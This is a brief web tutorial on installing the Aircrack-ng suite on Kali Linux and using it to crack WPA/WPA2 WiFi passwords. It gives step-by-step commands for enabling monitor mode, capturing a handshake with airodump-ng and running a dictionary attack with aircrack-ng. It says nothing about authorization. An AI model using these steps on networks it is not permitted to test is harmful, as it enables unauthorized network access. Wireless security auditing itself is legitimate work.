Install and Crack WiFi Password By Using Aircrack-ng ( Kali Linux )

Install and Crack WiFi Password By Using Aircrack-ng ( Kali Linux )



The tool you want to use here is Aircrack-ng.

“Aircrack-ng is a network software suite consisting of a detector, packet sniffer, WEP and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless LANs.”
Installation for Linux users:
  • (sudo) apt-get install build-essential libssl-dev libnl-3-dev pkg-config libnl-genl-3-dev
  • wget http://download.aircrack-ng.org/aircrack-ng-1.2-rc4.tar.gz -O – | tar –xz
  • cd aircrack-ng-1.2-rc4
  • make
  • make install
  • aircrack-ng –help (make sure you have the latest version)

Setting up Aircrack-ng:

  • (sudo) airmon-ng check kill
  • airmon-ng start wlan0
  • airodump-ng mon0
  • airodump-ng -c 1 –bssid 00:11:22:33:44:55 -w WPAcrack mon0 –ignore-negative-one
    • -c = wireless network channel
    • –bssid = MAC address of access point
    • -w = file name prefix for authentication handshake
    • mon0 = wireless interface
    • –ignore-negative-one = fixes ‘fixed channel: -1’
  • Wait until handshake is captured

The Password Dictionary

There is a significant part of cracking any password – and that is easily the password dictionary. They’re necessary for success. You will not have any luck if your password database is weak with minimal options. Be sure to check out the different password dictionary available.

Execute

To obtain the password for WPA/WPA2-PSK connections, use the command: aircrack-ng -w wordlist.dic -b 00:11:22:33:44:55 WPAcrack.cap
  • -w = dictionary file name
  • -b = mac address of access point
  • cap = file name that contains authentication handshake
Don’t forget that cracking passwords takes patience, as does learning the mechanisms behind the tools involved.
